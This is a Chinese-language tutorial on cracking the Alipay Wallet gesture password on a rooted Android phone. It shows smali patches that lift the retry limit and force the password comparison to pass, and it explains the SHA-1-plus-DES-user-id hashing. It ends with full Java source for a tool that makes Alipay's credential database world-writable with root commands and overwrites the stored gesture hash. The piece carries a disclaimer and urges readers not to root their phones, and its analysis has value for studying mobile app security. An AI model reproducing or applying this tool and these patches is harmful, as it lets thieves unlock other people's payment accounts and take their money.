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背景
随着移动互联网的普及以及手机屏幕越做越大等特点，在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起，安全、便捷的移动支付需求也越来越大。因此，各大互联网公司纷纷推出了其移动支付平台。其中，用的比较多的要数腾讯的微信和阿里的支付宝钱包了。就我而言，平时和同事一起出去AA吃饭，下班回家打车等日常生活都已经离不开这两个支付平台了。
正所谓树大招风，移动支付平台的兴起，也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会。因为移动平台刚刚兴起，人们对移动平台的安全认识度还不够。就拿我身边的很多朋友来说，他们一买来手机就开始root，之后卸载预装软件，下载游戏外挂等等。今天，我们就以破解支付宝钱包的手势密码为例，来深入了解下android系统上的一些安全知识，希望能引起人们对移动平台安全的重视。
在此申明：以下文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用，任何个人或组织不得使用文中提到的技术和代码做违法犯罪活动，否则由此引发的任何后果与法律责任本人概不负责。
实验环境
红米TD版
MIUI-JHACNBA13.0（已越狱）
支付宝钱包8.1.0.043001版
使用工具
APK IDE
Smali.jar
Ddms
SQLite Expert
应用宝
程序分析
准备阶段
安装完支付宝钱包之后，运行软件，我这里选择淘宝帐号登录，界面如图1所示。
图1
登录之后，设置手势密码，如图2所示。
图2
完成上述两步之后，退出支付宝进程。用腾讯应用宝定位到支付宝的安装目录\data\data\com.eg.android.AlipayGphone，查看目录结构如图3所示。
图3
实战开始 - 破解手势密码错误次数限制
看到图3所示的目录结构，猜测databases目录下的*.dB数据库文件就是用来保存上述我们设置的密码的。因此，我们使用应用宝的导出功能将databases目录导出到本地。用SQLite Expert工具打开所有的dB文件，分析发现alipayclient.db数据库中的userinfo表中保存了用户名、输入错误次数、手势密码等详细信息，如图4所示。其中的gestureErrorNum字段应该就是保存了手势密码输入错误的次数了，很明显这里已经被加密了。
图4
使用APK IDE对支付宝的安装包进行解包分析。解包完成之后，搜索setgestureErrorNum字样，结果如图5所示。
图5
经过大致分析，UserInfoDao.smali文件中的addUserInfo函数比较可疑，截取其中一段设置手势密码错误次数的代码如下：
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;
move-result-object v1
#调用getGestureErrorNum函数获得未加密的错误次数，并保存到v1寄存器
invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;
move-result-object v2
#调用getUserId函数获得user id，并保存到v2寄存器
invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;
move-result-object v2
#获取user id的前8个字节，保存到v2寄存器
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
move-result-object v1
#以user id的前8字节作为key，调用des加密错误次数字符串，并保存到v1寄存器
invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V
#调用setGestureErrorNum函数，将加密的字符串保存
通过对上述代码的分析得知，第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串，添加log代码验证，代码如图6所示。
图6
保存修改的smali文件，重新编译打包，安装完成之后，输入错误的手势密码，log输出数字依次递增。最后一次输入正确的手势密码，错误次数重新归0。LogCat捕捉到的日志如图7所示。
图7
程序分析到这里，我不禁猜测，在错误次数未加密前，把v1寄存器的值设置为字符串“0”是不是就可以骗过支付宝而可以无限次的输入手势密码了呢？于是乎，我又开始了下面的验证，代码如图8所示。
图8
编译打包，重新安装支付宝，输入错误的手势密码，发现5次错误之后程序还是让我们重新登录。看来我们这里设置错误次数已经晚了，于是乎，继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。其中，AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码如下：
.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V
.locals 1
new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
#p3是一个I类型的整型变量，调用StringBuilder. append赋值
move-result-object v0
invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0 #调用toString函数转换成字符串类型，赋给v0
invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V#调用setGestureErrorNum设置未加密的错误次数字符串
invoke-static {},Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;
move-result-object v0
invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;
move-result-object v0
invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z
#调用SecurityDbHelper.addUserInfo函数加密、更新数据库
return-void
.end method
分析到这里，想必这里才是最原始的设置手势输入错误次数的地方吧，修改p3的值为0，测试代码如图9所示。
图9
继续打包、编译、测试。随意输入错误的手势密码，支付宝始终显示“密码错误，还可以输入5次”字样，如图10。
图10
至此，手势密码中的错误次数限制已经被我们解除了。理论上来说，我们可以使用穷举法来获取支付宝的手势密码。但是，作为一名分分钟几百万上下的大黑阔来说，使用穷举法来获得密码这种方式，显然是在浪费生命和金钱呀。
越战越勇 – 查找关键跳转
对于大黑阔们来说，只破解手势输入错误次数限制显然是不够的。下面我们以手势密码的存储展开来说起。查看alipayclient.db数据库的userinfo表可知，手势密码的存储字段为gesturePwd，搜索getGesturePwd函数得到如图11的结果。
图11
搜索到的结果比较多，根据前面对手势密码错误次数限制的分析，这里可以排除几个文件，例如UserInfoDao.smali文件，它主要用来保存一些用户态的信息，可暂时跳过。剩下的smali文件，我们一个个分析过来。在这里我想说的一点是，逆向分析确实是很考验一个人耐心和细心的一件事情，一个恍惚就会迷失在浩瀚的汇编代码中，但是等到你找到关键的调用点，分析出核心的算法时，那么心境会豁然开朗，真是有种踏破铁鞋无觅处，得来全不费工夫的感脚。好了，扯远了，下面我们继续。
经过我的仔细分析，e.smali文件最有可能是比较输入密码的地方，双击上面e.smali文件的LINE 47行，跳转到的是a函数。由于函数比较长，只贴关键部分，代码如下：
.method public final a(Ljava/lang/String;)V
.locals 4
invoke-virtual {p1},Ljava/lang/String;->length()I #取输入字符串的长度
move-result v0
sget v1,Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I
if-ltv0, v1, :cond_1 #比较字符串长度
:try_start_0
iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;#获取UserInfo对象
invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码
move-result-object v0
invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确密码的长度
move-result v0
const/16 v1, 0x20
if-le v0, v1, :cond_0 #长度是否小于32
new-instance v0, Ljava/lang/StringBuilder;
invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象
invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
#将输入的明文手势密码赋值给StringBuilder对象
move-result-object v0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;#调用UserInfo的getUserId函数获取user id
move-result-object v1
const-string/jumbo v2, "userInfo"
invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;#调用des加密函数，以“userInfo”为key，加密user id字符串
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
#将加密好的user id字符串附加到StringBuilder对象上
move-result-object v0
invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
#StringBuilder对象（输入明文手势的密码 + 加密后的user id）转字符串，并赋值给v0寄存器
invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;
#调用静态的sha1函数，计算出一个hash值
move-result-object v0
:goto_0
iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;
invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#调用UserInfo的getGesturePwd函数获得加密过的正确的手势密码
move-result-object v1
invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z
#比较输入的密码和正确的密码
move-result v0
if-eqz v0, :cond_1
很显然，上面这个if-eqz是关键，如果比较函数equals返回false，那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数，在这个基础上加上1，然后调用settingGestureError函数重新设置错误次数。如果两个字符串相等，那么调用settingGestureError函数把错误次数重新置为0。
下面为了验证我们的猜测，进行如下两步操作：
1、在a函数中加入类似如图12的打印日志代码，这里未全部截图下来，其他地方留给读者自行添加。
图12
2、在if-eqz v0前patch v0，代码如图13所示。
图13
完成上述两步操作之后，保存修改过的smali文件，编译打包，重新安装支付宝钱包客户端，随意输入手势密码。这里引用大魔术师刘谦的一句话，“接下来就是见证奇迹的时刻”。在我们随意输入密码之后，熟悉的支付宝主界面出现在我们眼前，同时LogCat输出日志如图14所示。
图14
日志的组成大致如下：
第一行：用户输入的，还未加密的手势代码；
第二行：保存在数据库中正确的加密后的手势密码；
第三行：未加密的user id；
第四行：采用des加密后的user id；
第五行：拼接用户输入和加密后的user id；
第六行：采用sha1算法计算出来的加密之后的用户输入的手势密码。
通过仔细的分析日志，我们从中可以得出两个结论：
1、真实的手势密码和我们输入的密码是不一样的，但是我们还是进入了支付宝的主界面，证明我们上面第2步中修改的地方非常关键，从而也印证了e.smali文件的a函数确实是比较用户输入和真实密码的关键函数。
2、支付宝是将用户的手势操作转化成对应的数字，然后再做一定的加密处理之后保存到数据库中。比较用户输入的时候，是用相同的加密步骤对用户输入进行加密，再与数据库中保存的密码做比较。数字代码对应如图15所示。
图15
程序分析到这里，我们已经清楚的明白了支付宝手势密码的加密过程和算法，并且通过修改关键跳转的方法，使得我们随意输入手势密码都可以进入支付宝主界面。
仔细思考 – 还原手势密码？
回过头来仔细想想，手势密码的加密流程是这样的，用户输入+user id组成一个字符串，将该字符串经过sha1算法哈希之后得到另一个加密字符串即为手势密码。其中，user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了，正确的手势密码gesturePwd字段也已经有了。虽然sha1算法不可逆，但是在我们的这个实例中，最长输入是9位，最短为4位，我们完全可以通过已知的信息，采用有限的穷举，就能得出正确的手势代码了。相信对于现在的4核乃至8核cpu手机来说，这点计算应该是很轻松的。
但是，我们难道只能通过穷举来实现暴力破解吗？答案是否定的。其实我们完全可以自己构造一个输入，例如0123，采用和支付宝完全相同的加密流程得到手势密码。然后，通过修改userinfo表的gesturePwd字段内容为上面我们计算出来的手势密码，这样，就能实现随意修改手势密码的目的了。想法有了，下面我们编写代码来验证该方法是否可行。
代码实现
查看支付宝使用的sha1算法可知，该算法与支付宝的整体功能业务耦合度基本为0，于是我将sha1算法所在的smali文件转换成jar包，然后导入到我的工程中，这样，就可以直接调用和支付宝完全相同的sha1算法了。程序代码如下所示：
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
setTitle("支付宝手势密码修改器");
szUerIdString = "";
tvStatus = (TextView)findViewById(R.id.textStatus);
etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);
etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);
etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);
btnOK = (Button)findViewById(R.id.btnSetting);
if(!RootUtils.hasRootPermission()) {
tvStatus.setText("本程序只能在ROOT过的手机上运行！");
return;
}
if(!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")){
tvStatus.setText("请确认您已经安装了支付宝钱包！");
return;
}
String szUserId =getUserId();
if (!szUserId.isEmpty()) {
szUerIdString =szUserId;
etEncryptUserid.setText(szUserId);
tvStatus.setText("读取user id成功，请输入自定义手势密码！");
StringszDecryptUserid = decryptUserid(szUserId, "userInfo");
if(!szDecryptUserid.isEmpty()) {
etDecryptUserid.setText(szDecryptUserid);
}
else {
tvStatus.setText("解密user id失败！");
}
btnOK.setOnClickListener(newOnClickListener() {
@Override
public void onClick(View view) {
StringszPwd = etMyPwd.getText().toString();
if(szPwd.isEmpty()) {
Toast.makeText(MainActivity.this, "设置的自定义密码不能为空，请重新输入！", Toast.LENGTH_LONG).show();
}
else{
StringBuildersBuilder = new StringBuilder();
sBuilder.append(szPwd);
sBuilder.append(szUerIdString);
Stringtmp = sBuilder.toString();
Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);
Log.v(TAG,sha1);
if(!sha1.isEmpty()) {
if(updateDatabaseGesturePwd(szUerIdString, sha1)) {
tvStatus.setText("设置自定义密码成功！");
}
else{
tvStatus.setText("设置自定义密码失败！");
}
}
}
}
});
}
else {
tvStatus.setText("获取user id失败！");
}
}
获取user id和修改手势密码的代码如下：
// 获取加密的user id
private String getUserId()
{
String szRet = "";
// 修改数据库文件的读写权限
RootUtils.RootCommand("chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db");
RootUtils.RootCommand("chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal");
try {
Context context =createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);
Cursor cursor =db.rawQuery("select * from userinfo", null);
if (cursor.moveToFirst()) {
szRet =cursor.getString(USER_ID_INDEX) ;
}
db.close();
} catch(NameNotFoundException e1) {
e1.printStackTrace();
}
return szRet;
}
// 修改手势密码
private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {
boolean bRet = false;
if (szPwd.isEmpty() ||szUerId.isEmpty()) {
return bRet;
}
try {
Context context =createPackageContext("com.eg.android.AlipayGphone", Context.CONTEXT_IGNORE_SECURITY);
SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);
ContentValues cv =new ContentValues();
cv.put("gesturePwd",szPwd);
String[] args ={String.valueOf(szUerId)};
int n =db.update("userinfo", cv, "userId=?", args);
if (n> 0) {
bRet =true;
}
db.close();
} catch(NameNotFoundException e1) {
e1.printStackTrace();
}
return bRet;
}
最后，程序运行效果如图16所示。
图16
输入自定义密码，点击确认，程序提示设置成功。此时，打开支付宝，输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。
后记
如上所述，通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况，我的手机已经root，并且手机被盗。那么，除了手机上的艳照有可能泄露之外，小偷还可以通过修改支付宝的手势密码来登录我的支付宝，因此，造成直接的金钱损失也不是没有可能。
一般来说，普通用户日常使用的手机尽量不要去root，也不要随便去下载来历不明的软件和外挂。